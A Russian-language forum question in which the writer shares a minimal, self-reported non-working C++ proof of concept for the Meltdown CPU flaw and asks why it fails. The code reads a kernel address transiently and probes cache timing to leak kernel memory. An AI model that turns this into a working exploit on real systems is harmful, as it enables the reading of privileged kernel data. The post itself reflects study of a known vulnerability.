Пытаюсь воспроизвесть уязвимость meltdown, не работает, но не могу понять что именно.
Код ниже, теоритически, должен поместить в кэш кусочек массива с индексом взятым по адресу 0xffffffff81801460 и сдвинутым на 12. Функция meazure выводит время обращения к каждому куску (она работет исправно - если в ручную что то прочииать, то по ее результату хорошо вижно значение). Перехват исключения тоже исправно работает, но данные в кэш не попадают.
#include <stdio.h>
#include <chrono>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <stdint.h>
char *probe = (char*)malloc(4096 * 256 * sizeof(char));
void meazure(char *probe) {
for (int i = 0; i < 256; i++) {
auto start = std::chrono::high_resolution_clock::now();
char value = probe[i * 4096];
auto end = std::chrono::high_resolution_clock::now();
auto time = end - start;
printf("%u (%u):::%u %c\n", i, value, time.count(), time.count() < 100 ? '<' : ' ');
}
}
void segfault_sigaction(int signal, siginfo_t *si, void *arg)
{
printf("Caught segfault at address %p\n", si->si_addr);
meazure(probe);
exit(0);
}
int main()
{
struct sigaction sa;
memset(&sa, 0, sizeof(struct sigaction));
sigemptyset(&sa.sa_mask);
sa.sa_sigaction = segfault_sigaction;
sa.sa_flags = SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
// Адрес взял с помощью sudo grep ' sys_call_table' /proc/kallsyms
uint64_t addr = 0xffffffff81801460;
uint64_t x = 0;
asm volatile (
"retry: \n"
"movq (%[addr]), %%rax \n"
"shlq $12, %%rax \n"
"jz retry \n"
"addq %[probe], %%rax \n"
"movq (%%rax), %[x] \n"
: [x] "=r" (x)
: [addr] "r" (addr), [probe] "r" (probe)
: "rax", "memory"
);
meazure(probe);
}
Все существующие POC слишком сложные и большие для понимания и обычно объединяют meltdown и spectre. Я же хочу сделать минимально возможный пример.